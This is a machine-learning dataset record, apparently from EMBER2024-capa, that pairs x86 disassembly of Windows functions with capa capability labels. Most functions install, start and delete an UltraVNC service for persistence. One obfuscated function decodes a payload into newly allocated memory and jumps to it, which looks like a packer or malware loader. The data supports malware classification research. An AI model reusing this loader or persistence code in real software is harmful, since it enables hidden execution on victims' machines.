joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4030e0
Capabilities:
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x41d054]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 1
push 0
push 0
mov byte [ebp - 0x21], 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
mov dword [ebp - 0x2c], edi
test edi, edi
jne 0x40311b
xor al, al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a942
mov esp, ebp
pop ebp
ret
push esi
push 0xf01ff
push str.ssdpsrv
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
mov dword [ebp - 0x28], esi
test esi, esi
je 0x40320d
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x403203
push ebx
push str.dummyevent
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, eax
mov eax, dword [ebp - 0x1c]
cmp eax, 2
jb 0x4031aa
cmp eax, 3
ja 0x4031aa
xor esi, esi
mov edx, dword [ebp - 0x28]
lea ecx, [ebp - 0x20]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x4031a7
mov eax, dword [ebp - 0x1c]
cmp eax, 4
je 0x4031a7
cmp eax, 1
je 0x4031a7
test edi, edi
je 0x4031a1
push 0x3e8
push edi
call ebx
inc esi
cmp esi, 0xa
jl 0x403176
mov esi, dword [ebp - 0x28]
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x403202
mov eax, dword [ebp - 0x1c]
dec eax
jne 0x403202
push eax
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x403202
mov byte [ebp - 0x21], 1
xor esi, esi
mov edx, dword [ebp - 0x28]
lea ecx, [ebp - 0x20]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x4031ff
mov eax, dword [ebp - 0x1c]
cmp eax, 4
je 0x4031ff
cmp eax, 1
je 0x4031ff
push 0x3e8
push edi
call ebx
inc esi
cmp esi, 0xa
jl 0x4031d2
mov esi, dword [ebp - 0x28]
pop ebx
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, dword [ebp - 0x2c]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x21]
pop esi
xor ecx, ebp
pop edi
call fcn.0040a942
mov esp, ebp
pop ebp
ret
Function at 0x404d30
Capabilities:
Encode data using xor
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push ebx
push esi
mov esi, dword [edx + 4]
mov edx, eax
shr edx, 4
xor edx, esi
and edx, 0xf0f0f0f
xor esi, edx
shl edx, 4
xor eax, edx
mov edx, eax
shr edx, 0x10
xor edx, esi
and edx, 0xffff
xor esi, edx
shl edx, 0x10
xor eax, edx
mov edx, esi
shr edx, 2
xor edx, eax
and edx, 0x33333333
xor eax, edx
add edx, edx
add edx, edx
xor esi, edx
mov edx, esi
shr edx, 8
xor edx, eax
and edx, 0xff00ff
xor eax, edx
shl edx, 8
xor esi, edx
rol esi, 1
mov edx, esi
xor edx, eax
and edx, 0xaaaaaaaa
xor esi, edx
xor edx, eax
rol edx, 1
push edi
mov ecx, 0x4204f0
mov dword [ebp - 4], edx
mov dword [ebp - 8], 8
mov eax, esi
ror eax, 4
xor eax, dword [ecx]
add ecx, 0x10
mov edx, eax
shr edx, 0x18
mov edi, eax
shr edi, 0x10
and edi, 0x3f
and edx, 0x3f
mov edx, dword [edx*4 + 0x41e2e0]
or edx, dword [edi*4 + 0x41e4e0]
mov edi, eax
shr edi, 8
and edi, 0x3f
or edx, dword [edi*4 + 0x41e6e0]
and eax, 0x3f
or edx, dword [eax*4 + 0x41e8e0]
mov eax, dword [ecx - 0xc]
xor eax, esi
mov edi, eax
shr edi, 0x18
and edi, 0x3f
mov edi, dword [edi*4 + 0x41e3e0]
mov ebx, eax
shr ebx, 0x10
and ebx, 0x3f
or edi, dword [ebx*4 + 0x41e5e0]
mov ebx, eax
shr ebx, 8
and ebx, 0x3f
or edi, dword [ebx*4 + 0x41e7e0]
and eax, 0x3f
or edi, dword [eax*4 + 0x41e9e0]
or edi, edx
mov dword [ebp - 0xc], edi
mov edi, dword [ebp - 4]
xor edi, dword [ebp - 0xc]
mov eax, edi
ror eax, 4
xor eax, dword [ecx - 8]
mov dword [ebp - 4], edi
mov edx, eax
shr edx, 0x18
mov ebx, eax
shr ebx, 0x10
and ebx, 0x3f
and edx, 0x3f
mov edx, dword [edx*4 + 0x41e2e0]
or edx, dword [ebx*4 + 0x41e4e0]
mov ebx, eax
shr ebx, 8
and ebx, 0x3f
or edx, dword [ebx*4 + 0x41e6e0]
and eax, 0x3f
or edx, dword [eax*4 + 0x41e8e0]
mov eax, dword [ecx - 4]
xor eax, edi
mov edi, eax
shr edi, 0x18
and edi, 0x3f
mov edi, dword [edi*4 + 0x41e3e0]
mov ebx, eax
shr ebx, 0x10
and ebx, 0x3f
or edi, dword [ebx*4 + 0x41e5e0]
mov ebx, eax
shr ebx, 8
and ebx, 0x3f
or edi, dword [ebx*4 + 0x41e7e0]
and eax, 0x3f
or edi, dword [eax*4 + 0x41e9e0]
or edi, edx
xor esi, edi
dec dword [ebp - 8]
jne 0x404db3
mov ecx, dword [ebp - 4]
ror esi, 1
mov eax, esi
xor eax, ecx
and eax, 0xaaaaaaaa
xor esi, eax
xor eax, ecx
ror eax, 1
mov ecx, eax
shr ecx, 8
xor ecx, esi
and ecx, 0xff00ff
xor esi, ecx
shl ecx, 8
xor eax, ecx
mov ecx, eax
shr ecx, 2
xor ecx, esi
and ecx, 0x33333333
xor esi, ecx
add ecx, ecx
add ecx, ecx
xor eax, ecx
mov edx, dword [ebp + 8]
mov ecx, esi
shr ecx, 0x10
xor ecx, eax
and ecx, 0xffff
xor eax, ecx
shl ecx, 0x10
xor esi, ecx
mov ecx, esi
shr ecx, 4
xor ecx, eax
and ecx, 0xf0f0f0f
mov edi, ecx
shl edi, 4
xor edi, esi
mov dword [edx], edi
pop edi
xor ecx, eax
pop esi
mov dword [edx + 4], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405bf0
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x41d054]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
lea esp, [esp]
mov cl, byte [ebp + eax - 0x20c]
mov byte [ebp + eax - 0x108], cl
inc eax
test cl, cl
jne 0x405c20
lea ecx, [ebp - 0x108]
push 0x5c
push ecx
call fcn.0040ac30
add esp, 8
test eax, eax
je 0x405c4c
mov byte [eax + 1], 0
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
jne 0x405c70
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a942
mov esp, ebp
pop ebp
ret
mov eax, 0x22
mov word [0x41fa60], ax
lea eax, [ebp - 0x108]
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x405c83
push esi
push edi
mov edi, 0x41fa60
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x405c96
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, 0x41fa60
pop edi
dec eax
pop esi
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x405cb4
mov ecx, dword [str.winvnc.exe]
mov edx, dword [0x41a9d0]
mov dword [eax], ecx
mov cx, word [0x41a9d4]
mov dword [eax + 4], edx
mov dl, byte [0x41a9d6]
mov word [eax + 8], cx
mov byte [eax + 0xa], dl
mov eax, 0x41fa60
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x405ce7
mov ecx, dword [str.___service]
mov edx, dword [0x41a9dc]
mov dword [eax], ecx
mov cx, word [0x41a9e0]
mov dword [eax + 4], edx
mov dl, byte [0x41a9e2]
mov word [eax + 8], cx
mov ecx, dword [ebp - 4]
mov byte [eax + 0xa], dl
xor ecx, ebp
xor eax, eax
call fcn.0040a942
mov esp, ebp
pop ebp
ret

Function at 0x405d30
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x41d054]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov ecx, 9
mov esi, str.Provides_secure_remote_desktop_sharing
lea edi, [ebp - 0x2c]
rep movsd dword es:[edi], dword [esi]
push str.uvnc_service
movsw word es:[edi], word [esi]
push str.SYSTEMCurrentControlSetServices_s
lea eax, [ebp - 0x12c]
push 0x100
push eax
movsb byte es:[edi], byte [esi]
call fcn.0040b1c8
add esp, 0x10
lea ecx, [ebp - 0x134]
push ecx
lea edx, [ebp - 0x130]
push edx
push 0
push 0x2001f
push 0
push 0
push 0
lea eax, [ebp - 0x12c]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea eax, [ebp - 0x2c]
pop edi
lea edx, [eax + 1]
pop esi
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405db0
sub eax, edx
mov edx, dword [ebp - 0x130]
inc eax
push eax
lea ecx, [ebp - 0x2c]
push ecx
push 1
push 0
push 0x41a3d4
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x130]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a942
mov esp, ebp
pop ebp
ret
Function at 0x405df0
Capabilities:
Create service
Persist via windows service

Disassembly:
push esi
call fcn.00405bf0
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
jne 0x405e20
push 0x10
push str.UltraVnc
push str.Failed_to_open_service_control_manager
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
lea eax, [esi + 1]
pop esi
ret
push edi
push 0
push 0
push 0
push 0
push 0
push 0x41fa60
push 1
push 2
push 0x110
push 0xf01ff
push str.uvnc_service
push str.uvnc_service
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov edi, eax
test edi, edi
jne 0x405ecb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x10
cmp eax, 5
jne 0x405e82
push str.UltraVnc
push str.Failed:_Permission_denied
push edi
call dword [sym.imp.USER32.dll_MessageBoxA]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
mov eax, 1
pop esi
ret
cmp eax, 0x431
jne 0x405eaa
push 0x41aa78
push str.Failed:_Already_exist
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
mov eax, 1
pop esi
ret
push str.UltraVnc
push str.Failed_to_create_a_new_service
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
mov eax, 1
pop esi
ret
call fcn.00405d30
push 0x10
push str.UltraVnc
push str.uvnc_service_installed
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push esi
call edi
pop edi
xor eax, eax
pop esi
ret
Function at 0x405f00
Capabilities:
Delete service
Query service status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x41d054]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 1
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
jne 0x405f48
push 0x10
push str.UltraVnc
push str.Failed_to_open_service_control_manager
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
lea eax, [esi + 1]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a942
mov esp, ebp
pop ebp
ret
push edi
push 0x10004
push str.uvnc_service
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
jne 0x405ff5
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x10
push str.UltraVnc
cmp eax, 5
jne 0x405f9c
push str.Failed:_Permission_denied
push edi
call dword [sym.imp.USER32.dll_MessageBoxA]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea eax, [edi + 1]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a942
mov esp, ebp
pop ebp
ret
cmp eax, 0x424
jne 0x405fcc
push str.Failed:_Service_is_not_installed
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a942
mov esp, ebp
pop ebp
ret
push str.Failed_to_open_the_service
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a942
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x406038
push 0x10
push str.UltraVnc
push str.Failed_to_query_service_status
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push esi
call edi
pop edi
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a942
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x1c], 1
push edi
je 0x40606f
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push esi
call edi
push 0x9c4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00405f00
pop edi
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a942
mov esp, ebp
pop ebp
ret
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push 0x10
push str.UltraVnc
test eax, eax
jne 0x4060ad
push str.Failed_to_delete_the_service
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push esi
call edi
pop edi
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a942
mov esp, ebp
pop ebp
ret
push str.service_deleted
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push esi
call edi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.0040a942
mov esp, ebp
pop ebp
ret
Function at 0x408bb0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov eax, dword [0x41d054]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push 0x420ea8
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x408bee
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a942
mov esp, ebp
pop ebp
ret 0x10
call fcn.00401af0
test al, al
je 0x408bfe
mov byte [0x420572], 1
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test eax, eax
jne 0x408c15
mov byte [0x420573], al
jmp 0x408c23
push eax
mov byte [0x420573], 1
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebx
lea ebx, [ebp - 0x128]
call fcn.00403230
mov ecx, ebx
call fcn.00403310
push 0
lea eax, [ebp - 0x24]
push 0x41a740
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov ecx, ebx
push ecx
lea edx, [ebp - 0x24]
push edx
push str.dummy
push str.admin
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
pop ebx
test eax, eax
je 0x408c6d
mov byte [0x420626], 1
push edi
call fcn.0040a1c0
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
xor eax, eax
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], eax
lea eax, [ebp - 0x130]
push eax
mov dword [ebp - 0x130], 8
mov dword [ebp - 0x12c], 0x400
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov edi, dword [sym.imp.USER32.dll_LoadStringA]
push 0x64
push 0x420038
push 0x67
push esi
mov dword [0x4200a0], esi
call edi
push 0x64
push 0x4202d0
push 0x6d
push esi
call edi
call fcn.00408220
push 0
push 0x408d40
push 0
push 0x4b0
push esi
call dword [sym.imp.USER32.dll_DialogBoxParamA]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov byte [0x420571], 1
pop esi
call fcn.0040a942
mov esp, ebp
pop ebp
ret 0x10

Function at 0x409e30
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
test ebx, ebx
je 0x409ed9
push edi
lea eax, [ebp - 0xc]
push eax
push str.mv2.dll
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeA]
mov edi, eax
test edi, edi
jne 0x409e59
pop edi
mov esp, ebp
pop ebp
ret
push esi
push edi
call fcn.0040acfd
add esp, 4
mov esi, eax
push esi
push edi
push 0
push str.mv2.dll
call dword [sym.imp.VERSION.dll_GetFileVersionInfoA]
mov edi, dword [sym.imp.VERSION.dll_VerQueryValueA]
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 4]
push edx
push str.StringFileInfo040904b0ProductVersion
push esi
call edi
test eax, eax
jne 0x409ea2
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 4]
push ecx
push str.StringFileInfo000004b0ProductVersion
push esi
call edi
test eax, eax
je 0x409ec5
mov edx, dword [ebp - 4]
push 0x200
push edx
push ebx
call fcn.0040b280
push esi
call fcn.0040ac19
add esp, 0x10
pop esi
mov eax, 1
pop edi
mov esp, ebp
pop ebp
ret
push esi
mov byte [ebx], 0
call fcn.0040ac19
add esp, 4
pop esi
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x40a942
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41d054]
jne 0x40a94c
repz ret
jmp fcn.0040b544
Function at 0x411a5c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41d054]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040c067
and dword [ebp - 0x14], 0
cmp dword [0x41f7b4], 0
mov dword [ebp - 0x18], eax
jne 0x411b0f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x411bb7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x411bb7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x41f7b4], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x41f7b8], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x41f7bc], eax
call edi
push eax
call esi
mov dword [0x41f7c4], eax
test eax, eax
je 0x411b0f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x41f7c0], eax
mov eax, dword [0x41f7c0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x411b68
cmp dword [0x41f7c4], ecx
je 0x411b68
push eax
call esi
push dword [0x41f7c4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x411b68
test ebx, ebx
je 0x411b68
call edi
test eax, eax
je 0x411b5f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x411b5f
test byte [ebp - 8], 1
jne 0x411b68
or dword [ebp + 0x10], 0x200000
jmp 0x411b9b
mov eax, dword [0x41f7b8]
cmp eax, dword [ebp - 0x18]
je 0x411b9b
push eax
call esi
test eax, eax
je 0x411b9b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x411b9b
mov eax, dword [0x41f7bc]
cmp eax, dword [ebp - 0x18]
je 0x411b9b
push eax
call esi
test eax, eax
je 0x411b9b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x41f7b4]
call esi
test eax, eax
je 0x411bb7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x411bb9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a942
leave
ret
Function at 0x100113e1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x100113f0
pop dword [ebp - 0x24]
mov eax, 0x4dcc7bcd
add eax, 0xc2349823
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x1230c07f
add dword [ebp - 0x34], 0x3c2184cc
mov dword [ebp - 0x30], 0x8743b8c7
sub dword [ebp - 0x30], 0x55106c82
mov dword [ebp - 0x2c], 0x2c24cc75
add dword [ebp - 0x2c], 0x202777b9
mov dword [ebp - 0x28], 0x7253ea87
add dword [ebp - 0x28], 0x8dac1579
lea eax, [ebp - 0x34]
push eax
mov eax, 0x7c559bc4
add eax, 0x93ab9294
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xac6f2b54
add dword [ebp - 0x34], 0xc8033e02
mov dword [ebp - 0x30], 0x673ed8e5
sub dword [ebp - 0x30], 0x25d27770
mov dword [ebp - 0x2c], 0xfc3969a4
sub dword [ebp - 0x2c], 0x98c9fd38
mov dword [ebp - 0x28], 0xcec596ba
add dword [ebp - 0x28], 0x313a6946
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x9c8fd787
add eax, 0x737156d5
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x362fe
push 0
call eax
mov ecx, 0xee84e357
add ecx, 0x117b6362
mov ebx, eax
mov esi, 0x50324fa4
add esi, 0xbfcf2a5c
add esi, dword [ebp - 0x24]
mov edi, 0x30cd1b02
xor dword [ebp - 0x1c], ecx
mov edx, dword [esi]
sub dword [ebp - 4], edi
sub edx, edi
xor dword [ebp - 4], 0x6cd77b65
mov dword [ebx], edx
mov dword [ebp - 0x14], 0x9682f709
add ebx, 4
add esi, 0x52858ea8
add esi, 0xad7a715c
loop 0x1001150c
add eax, 0x287ee43b
add eax, 0xd782297c
xor ebx, ebx
add ebx, eax
add eax, 0xf268d56e
sub eax, 0xf268d569
mov ecx, 0xf5709732
add ecx, 0x1a8f68ce
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x403430
Capabilities:
Encode data using xor

Disassembly:
push ebx
xor ecx, ecx
mov eax, dword [esp + 8]
mov edx, eax
sub edx, ecx
inc ecx
cmp ecx, 5
mov dl, byte [edx + 5]
mov byte [ecx + 0x411e97], dl
jl 0x403437
xor ecx, ecx
mov eax, dword [esp + 0xc]
mov dl, byte [ecx + eax]
mov bl, byte [ecx + 0x411e98]
xor bl, dl
inc ecx
cmp ecx, 5
nop
mov byte [ecx + 0x411e97], bl
jl 0x403450
push 0x411e90
push 0x411ec0
call fcn.00403aa0
add esp, 8
push 0x411e90
push 0x411e98
call fcn.004032a0
add esp, 8
pop ebx
ret

Function at 0x40a6a0
Capabilities:
Enumerate pe sections

Disassembly:
push ebx
push esi
push edi
mov ecx, dword [esp + 0x18]
mov esi, dword [esp + 0x14]
mov edx, ecx
mov edi, dword [esp + 0x10]
cmp ecx, 0
je 0x40a7c1
cmp ecx, 8
jl 0x40a7b7
test esi, 3
jne 0x40a6d8
test edi, 3
jne 0x40a6e0
jmp 0x40a798
test edi, 3
je 0x40a6fc
mov ebx, edi
and ebx, 3
sub ecx, ebx
sub edx, ebx
mov al, byte [esi]
inc edi
inc esi
dec ebx
mov byte [edi - 1], al
jne 0x40a6e9
cmp ecx, 8
jl 0x40a7b7
test esi, 3
je 0x40a798
test esi, 1
jne 0x40a718
shr ecx, 3
and edx, 7
jmp 0x40a75f
shr ecx, 3
and edx, 7
mov al, byte [esi + 2]
mov bl, byte [esi + 6]
mov ah, byte [esi + 3]
mov bh, byte [esi + 7]
shl eax, 0x10
add edi, 8
shl ebx, 0x10
mov ah, byte [esi + 1]
mov al, byte [esi]
mov bl, byte [esi + 4]
mov bh, byte [esi + 5]
mov dword [edi - 8], eax
mov dword [edi - 4], ebx
add esi, 8
dec ecx
jne 0x40a71e
cmp edx, 0
je 0x40a7c1
mov al, byte [esi]
inc edi
inc esi
dec edx
mov byte [edi - 1], al
jne 0x40a74f
pop edi
pop esi
pop ebx
ret 0xc
mov ax, word [esi + 2]
mov bx, word [esi + 6]
shl eax, 0x10
add edi, 8
shl ebx, 0x10
mov ax, word [esi]
mov bx, word [esi + 4]
mov dword [edi - 8], eax
mov dword [edi - 4], ebx
add esi, 8
dec ecx
jne 0x40a75f
cmp edx, 0
je 0x40a7c1
mov al, byte [esi]
inc edi
inc esi
dec edx
mov byte [edi - 1], al
jne 0x40a788
pop edi
pop esi
pop ebx
ret 0xc
shr ecx, 3
and edx, 7
mov eax, dword [esi]
add edi, 8
mov ebx, dword [esi + 4]
add esi, 8
mov dword [edi - 8], eax
dec ecx
mov dword [edi - 4], ebx
jne 0x40a79e
cmp edx, 0
je 0x40a7c1
mov al, byte [esi]
inc edi
inc esi
dec edx
mov byte [edi - 1], al
jne 0x40a7b7
pop edi
pop esi
pop ebx
ret 0xc